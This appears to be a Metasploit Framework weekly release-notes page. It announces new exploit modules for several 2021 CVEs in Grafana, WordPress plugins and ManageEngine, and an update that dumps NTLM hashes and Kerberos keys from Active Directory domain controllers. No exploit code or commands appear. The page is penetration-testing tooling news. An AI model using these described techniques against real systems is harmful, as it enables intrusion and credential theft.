• #16029 from cdelafuente-r7 – A bug existed in the normalize function of lib/msf/core/opt_path.rb whereby the path parameter passed in wasn’t checked to see if it was empty prior to calling File.expand_path on it. In these cases the path returned would be that of the current directory, which could lead to unexpected results. This has been fixed with improved validation to ensure that the path parameter is not an empty string prior to expanding the path.
• #16058 from bcoles – This change fixes a bug where a stack trace was printed in post/multi/recon/local_exploit_suggester when an invalid session option was specified.
• #16063 from bcoles – A bug has been fixed in the local_admin_search_enum module whereby a typo was causing the module to crash on an undefined variable. The typo has been corrected and the module now accesses the correct variable. This has been addressed by fixing the typo, which should now make the module access the correct variable.
• #15727 from NeffIsBack – This PR adds more robust NTLM message parsing with better error handling and messaging when pulling out the NTLM hashes.

Dump Windows secrets from Active Directory

This week, our very own Christophe De La Fuente added an important update to the existing Windows Secret Dump module. It is now able to dump secrets from Active Directory, which will be very useful for Metasploit users. This new feature uses the Directory Replication Service through RPC to retrieve data such as SIDs, password history, Domain user NTLM hashes and Kerberos keys, etc. This replicates the behavior of the famous impacket secretsdump.py, with the benefit of being fully integrated with Metasploit Framework. For example, it is possible to pivot on a compromised host and run the Windows Secret Dump module against an internal Domain Controller directly from msfconsole. Furthermore, the secrets are stored in the internal database, which lets other modules access this information easily.

This update also brings another big improvement to the ruby_smb library. This adds a new DCERPC client and many ready-to-use RPC queries from Directory Replication Service (DRS) Remote Protocol, Security Account Manager (SAM) Remote Protocol and Workstation Service Remote Protocol. These will greatly simplify the process of writing modules that use DCERPC against Windows systems.

Authenticated Catch Themes Demo Import Remote Code Execution

Thank you to Ron Jost, Thinkland Security Team, and h00die for their community contribution of a Remote Code Execution exploit module against versions 1.8 and earlier of the Catch Themes Demo Import WordPress Plugin.

New module content (6)

• Grafana Plugin Path Traversal by h00die and jordyv, which exploits CVE-2021-43798 – This aAdds a module to exploit Grafana file read vulnerability CVE-2021-43798.
• Native LDAP Server (Example) by RageLtMan and Spencer McIntyre – This adds the initial implementation of an LDAP server implemented in Rex and updates the existing log4shell scanner module to use it as well as provides a new example module.
• WordPress Plugin Catch Themes Demo Import RCE by Ron Jost, Thinkland Security Team, and h00die, which exploits CVE-2021-39352 – This adds an exploit for the Catch Themes Demo Import WordPress plugin for versions below 1.8. The functionality for importing a theme does not properly sanitize file formats, allowing an authenticated user to upload a php payload. Requesting the uploaded file achieves code execution as the user running the web server.
• WordPress Popular Posts Authenticated RCE by Jerome Bruandet, Simone Cristofaro, and h00die, which exploits CVE-2021-42362 – This PR adds a new exploit for wp_popular_posts <=5.3.2.
• ManageEngine ServiceDesk Plus CVE-2021-44077 by wvu and Y4er, which exploits CVE-2021-44077
• Dell DBUtilDrv2.sys Memory Protection Modifier by Jacob Baines, Kasif Dekel, Red Cursor, and SentinelLabs – This module leverages a write-what-where condition in DBUtilDrv2.sys version 2.5 or 2.7 to disable or enable LSA protect on a given PID (assuming the system is configured for LSA Protection). The drivers must be provided by the user.

Enhancements and features

• #15831 from zeroSteiner – Established SSH connections can now leverage the pivoting capabilities of the SshCommandShellBind session type.
• #15882 from smashery – An update has been made which will prevent exploits from running a payload if the exploit drops files onto the target, but the payload doesn’t have the capability to clean those dropped files up from the target. Users can still override this setting by specifying set AllowNoCleanup true if they wish to bypass this protection.
• #15924 from cdelafuente-r7 – This adds the NTDS technique to the Windows Secrets Dump module, enabling it to be used against Domain Controllers. It also pulls in RubySMB changes that include many DCERPC related improvements and features.
• #15986 from bcoles – Module notes added to bash_profile_persistence now describe impacts of utilizing the module in a target environment.

Bugs fixed

• #15982 from 3V3RYONE – This fixes a bug where modules using the SMB client would crash when the SMBUser datastore option had been explicitly unset.
• #15984 from h00die – This PR fixes a bug in the snmp library which caused it to ignore version 1, despite specifically set options.
• #16003 from jmartin-r7 – This fixes an issue with GitHub actions where the Ruby 3.1.0 version string is not yet being parsed correctly leading to automation failures.
• #16015 from zeroSteiner – This fixes a regression in tab completion for the RHOSTS datastore option.
